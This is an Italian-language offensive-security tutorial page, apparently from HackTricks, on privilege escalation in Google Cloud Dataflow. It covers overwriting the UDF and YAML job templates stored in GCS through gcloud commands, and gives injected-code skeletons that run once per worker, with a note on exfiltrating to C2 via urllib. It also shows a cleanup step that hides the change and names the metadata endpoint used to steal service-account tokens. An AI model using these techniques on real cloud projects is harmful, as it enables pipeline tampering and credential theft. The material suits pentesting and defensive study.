# GCP - Dataflow Privilege Escalation

{{#include ../../../banners/hacktricks-training.md}}

## Dataflow

{{#ref}}
../gcp-services/gcp-dataflow-enum.md
{{#endref}}

### `storage.objects.create`, `storage.objects.get`, `storage.objects.update`

Dataflow non valida l'integrità di UDFs e YAMLs dei job template memorizzati in GCS.
Con accesso in scrittura al bucket, puoi sovrascrivere questi file per iniettare codice, eseguire codice sui worker, rubare token dell'account di servizio o alterare l'elaborazione dei dati.
Sia i job batch che le pipeline streaming sono bersagli validi per questo attacco. Per eseguire questo attacco su una pipeline è necessario sostituire UDFs/template prima che il job venga eseguito, durante i primi minuti (prima che i worker del job siano creati) o durante l'esecuzione del job prima che vengano creati nuovi worker (a causa dell'autoscaling).

**Vettori d'attacco:**
- **UDF hijacking:** Python (`.py`) e JS (`.js`) UDFs referenziate dalle pipeline e memorizzate in bucket gestiti dal cliente
- **Job template hijacking:** Definizioni personalizzate di pipeline YAML memorizzate in bucket gestiti dal cliente


> [!WARNING]
> **Run-once-per-worker trick:** Le UDFs e i callable dei template di Dataflow vengono invocati **per riga/linea**. Senza coordinazione, l'exfiltrazione o il furto di token verrebbero eseguiti migliaia di volte, causando rumore, rate limiting e rilevamento. Usa un pattern di **coordinazione basata su file**: verifica se un file marker (es. `/tmp/pwnd.txt`) esiste all'inizio; se esiste, salta il codice malevolo; altrimenti, esegui il payload e crea il file. Questo garantisce che il payload venga eseguito **una sola volta per worker**, non per riga.


#### Direct exploitation via gcloud CLI

1. Enumera i job di Dataflow e individua i percorsi GCS dei template/UDF:

<details>

<summary>Elenca i job e usa describe per ottenere il percorso del template, la staging location e i riferimenti agli UDF</summary>
```bash
# List jobs (optionally filter by region)
gcloud dataflow jobs list --region=<region>
gcloud dataflow jobs list --project=<PROJECT_ID>

# Describe a job to get template GCS path, staging location, and any UDF/template references
gcloud dataflow jobs describe <JOB_ID> --region=<region> --full --format="yaml"
# Look for: currentState, createTime, jobMetadata, type (JOB_TYPE_STREAMING or JOB_TYPE_BATCH)
# Pipeline options often include: tempLocation, stagingLocation, templateLocation, or flexTemplateGcsPath
```
</details>

2. Scarica l'UDF originale o il template del job da GCS:

<details>

<summary>Scarica il file UDF o il template YAML dal bucket</summary>
```bash
# If job references a UDF at gs://bucket/path/to/udf.py
gcloud storage cp gs://<BUCKET>/<PATH>/<udf_file>.py ./udf_original.py

# Or for a YAML job template
gcloud storage cp gs://<BUCKET>/<PATH>/<template>.yaml ./template_original.yaml
```
</details>

3. Modifica il file localmente: inietta il malicious payload (vedi Python UDF o frammenti YAML qui sotto) e assicurati che venga usato il run-once coordination pattern.

4. Ricarica per sovrascrivere il file originale:

<details>

<summary>Sovrascrivi UDF o template nel bucket</summary>
```bash
gcloud storage cp ./udf_injected.py gs://<BUCKET>/<PATH>/<udf_file>.py

# Or for YAML
gcloud storage cp ./template_injected.yaml gs://<BUCKET>/<PATH>/<template>.yaml
```
</details>

5. Attendere la successiva esecuzione del job, oppure (per lo streaming) provocare l'autoscaling (es. sovraccaricare l'input della pipeline) in modo che nuovi worker vengano avviati e prelevino il file modificato.

#### Python UDF injection

Se vuoi far sì che il worker esfiltri dati al tuo server C2 usa `urllib.request` e non `requests`.
`requests` non è preinstallato nei classic Dataflow workers.

<details>

<summary>Malicious UDF with run-once coordination and metadata extraction</summary>
```python
import os
import json
import urllib.request
from datetime import datetime

def _malicious_func():
# File-based coordination: run once per worker.
coordination_file = "/tmp/pwnd.txt"
if os.path.exists(coordination_file):
return

# malicous code goes here
with open(coordination_file, "w", encoding="utf-8") as f:
f.write("done")

def transform(line):
# Malicous code entry point - runs per line but coordination ensures once per worker
try:
_malicious_func()
except Exception:
pass
# ... original UDF logic follows ...
```
</details>


#### Iniezione nel template YAML del job

Inietta uno step `MapToFields` con una callable che usa un file di coordinamento. Per pipeline basate su YAML che supportano `requests`, usalo se il template dichiara `dependencies: [requests]`; altrimenti preferisci `urllib.request`.

Aggiungi lo step di pulizia (`drop: [malicious_step]`) in modo che la pipeline scriva comunque dati validi nella destinazione.

<details>

<summary>Step MapToFields dannoso e pulizia nel YAML della pipeline</summary>
```yaml
- name: MaliciousTransform
type: MapToFields
input: Transform
config:
language: python
fields:
malicious_step:
callable: |
def extract_and_return(row):
import os
import json
from datetime import datetime
coordination_file = "/tmp/pwnd.txt"
if os.path.exists(coordination_file):
return True
try:
import urllib.request
# malicious code goes here
with open(coordination_file, "w", encoding="utf-8") as f:
f.write("done")
except Exception:
pass
return True
append: true
- name: CleanupTransform
type: MapToFields
input: MaliciousTransform
config:
fields: {}
append: true
drop:
- malicious_step
```
</details>

### Accesso ai Dataflow Workers di Compute Engine

**Permessi:** `compute.instances.osLogin` or `compute.instances.osAdminLogin` (con `iam.serviceAccounts.actAs` sul SA del worker), or `compute.instances.setMetadata` / `compute.projects.setCommonInstanceMetadata` (con `iam.serviceAccounts.actAs`) per l'iniezione legacy di chiavi SSH

I Dataflow workers vengono eseguiti come VM di Compute Engine. L'accesso ai worker tramite OS Login o SSH consente di leggere i token SA dall'endpoint metadata (`http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token`), manipolare i dati o eseguire codice arbitrario.

Per dettagli sullo sfruttamento, vedi:
- [GCP - Compute Privesc](gcp-compute-privesc/README.md) — `compute.instances.osLogin`, `compute.instances.osAdminLogin`, `compute.instances.setMetadata`

## Riferimenti

- [Dataflow Rider: How Attackers can Abuse Shadow Resources in Google Cloud Dataflow](https://www.varonis.com/blog/dataflow-rider)
- [Control access with IAM (Dataflow)](https://cloud.google.com/dataflow/docs/concepts/security-and-permissions)
- [gcloud dataflow jobs describe](https://cloud.google.com/sdk/gcloud/reference/dataflow/jobs/describe)
- [Apache Beam YAML: User-defined functions](https://beam.apache.org/documentation/sdks/yaml-udf/)
- [Apache Beam YAML Transform Reference](https://beam.apache.org/releases/yamldoc/current/)

{{#include ../../../banners/hacktricks-training.md}}
